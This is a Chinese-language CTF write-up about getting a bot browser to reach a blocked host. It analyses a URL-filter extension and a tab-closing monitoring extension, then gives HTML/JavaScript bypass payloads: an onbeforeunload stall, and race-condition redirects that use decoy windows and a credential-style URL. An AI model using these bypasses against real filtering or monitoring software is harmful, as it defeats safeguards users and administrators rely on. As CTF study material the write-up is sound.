题目内部有一个hook,我们可以自定义容器coolctfgames.localhost的返回
// 根路由处理
app.get('/', (req, res) => {// 检查主机名是否匹配配置if(req.get("Host") == config.host || req.get("Host") == config.host + ":" + config.port){res.send(customHtml);}else{// 如果主机名不匹配,返回更新页面res.sendFile("templates/update.html", { root: process.cwd() });return;}
});
我们需要绕过两个浏览器拓展逻辑
// 检查网站是否仍在运行if(currentUrl.host == config.host || currentUrl.host == config.host + ":" + config.port){console.log("Flag conditions met.");shouldGiveFlag = true;} else {// 用于本地调试console.log("Bot did not reach the expected host:", currentUrl.host, pageUrl);}
// Bot 状态检查接口
app.get("/bot/status", (req, res) => {if(bot.shouldFlag()){// 如果满足条件,返回 flagres.json(process.env.FLAG || ".;,;.{placeholder_flag}");}else{// 否则返回 bot 运行状态res.json(bot.canRunBot());}
});
拓展1
- 过滤配置:
-
扩展使用硬编码的filterConfig配置对象,包含一系列规则
-
每条规则由hostname(主机名)、action(动作)和reason(原因)组成
-
特别注意:"coolctfgames.localhost"被设置为block(阻止)
- URL解析器:
-
实现了一个自定义的URLParser类来解析URL
-
可以从URL中提取protocol、host、hostname、port、pathname、search和hash等部分
-
提供了params()、updateSearch()、setQueryParam()等方法来操作URL参数
- 拦截请求机制:
-
通过chrome.webRequest.onBeforeRequest监听器拦截所有网络请求
-
对每个请求调用filterRequest函数进行过滤处理
-
使用正则表达式验证URL格式:/^([a-zA-Z]+://)([a-zA-Z0-9_~-.:](/.))$/
- 过滤逻辑:
-
提取请求URL的hostname
-
在filterConfig.rules中查找匹配该hostname的规则
-
如果找到规则且action为"block",则重定向到自定义的阻止页面
-
重定向URL包含被阻止的hostname和阻止原因作为参数
- 阻止页面:
-
当请求被阻止时,用户会被重定向到block_page.html
-
重定向URL包含参数:?hostname=被阻止的域名&reason=阻止原因
/*** 过滤请求的函数* @param {chrome.webRequest.OnBeforeRequestDetails} details - 请求详情* @returns {chrome.webRequest.BlockingResponse | void} 阻塞响应或undefined*/
function filterRequest(details){console.log("正在过滤请求:", details);const url = details.url;// 验证URL格式,跳过内部请求const parsed = (new URLParser(url));const match = parsed.host.match(/^([a-zA-Z]+:\/\/)*([a-zA-Z0-9\_\~\-\.\:]*(\/.*)*)$/);if(!!match){const hostWithoutPort = parsed.hostname;const rule = filterConfig.rules.find(r => r.hostname === hostWithoutPort);if(!rule) return;if(rule.action === "block"){// 重定向到自定义页面return {redirectUrl: `${chrome.runtime.getURL("block_page.html")}?hostname=${encodeURIComponent(hostWithoutPort)}&reason=${encodeURIComponent(rule.reason)}`};}}else{throw new Error("无效的主机名");}
}
拓展2的逻辑相对简单,核心逻辑为
async function tick(){const tabs = await queryAsync({});for(let tab of tabs){if(tab.url){const url = new URL(tab.url);if(url.hostname === "coolctfgames.localhost"){// 警告:学生正在玩游戏!=O =O =Oconsole.log("正在关闭标签页:", tab.url);await chrome.tabs.remove(tab.id);chrome.notifications.create("",{type: "basic",title: "Good Guardian",message: "标签页已关闭。",priority: 2,});}}}
}
方案1: 中断
<button id="free-click">free-click</button>
<script>window.onbeforeunload = () => "stay"
</script>
-
卡住标签页关闭操作
window.onbeforeunload
事件处理器返回字符串时,会触发浏览器的"确认离开页面"对话框- 在自动化浏览器环境中(如Puppeteer),这种对话框会导致关闭标签页的操作被挂起
chrome.tabs.remove()
函数会被暂停执行,无法完成
-
绕过studentmonitoring扩展
- studentmonitoring扩展通过
chrome.tabs.remove(tab.id)
尝试关闭包含目标域名的标签页 - 但由于onbeforeunload处理器,关闭操作被阻止
- 标签页依然保持打开状态,URL仍然是coolctfgames.localhost
- studentmonitoring扩展通过
方案2: 条件竞争
<script>// 定义异步睡眠函数,模拟等待效果async function sleep(ms) {// 返回Promise,使用setTimeout在指定毫秒后resolveawait new Promise((resolve) => setTimeout(resolve, ms));}// 自执行异步函数(IIFE)(async () => {// 打开新窗口/标签页访问指定URLawait open("http://www.baidu.com.fake");// 等待3000毫秒(3秒)await sleep(3000);// 3秒后重定向当前页面到特殊格式URL// 注意:此URL格式包含凭据信息,可能存在安全风险window.location.href ="http://coolctfgames.localhost";})(); // 立即执行此异步函数
</script>
或
<script>// 定义并立即执行一个异步函数(IIFE)(async () => {// 等待200毫秒(0.2秒)的延时await new Promise((resolve) => setTimeout(resolve, 200));// 连续打开三个新窗口(可能被浏览器拦截)open("http://www.baidu.com.fake?1"); // 带查询参数?1open("http://www.baidu.com.fake?2"); // 带查询参数?2open("http://www.baidu.com.fake?3"); // 带查询参数?3// 将当前页面重定向到特殊格式的URLwindow.location.href ="http://coolctfgames.localhost:3000@coolctfgames.localhost:3000";})(); // 立即执行此异步函数
</script>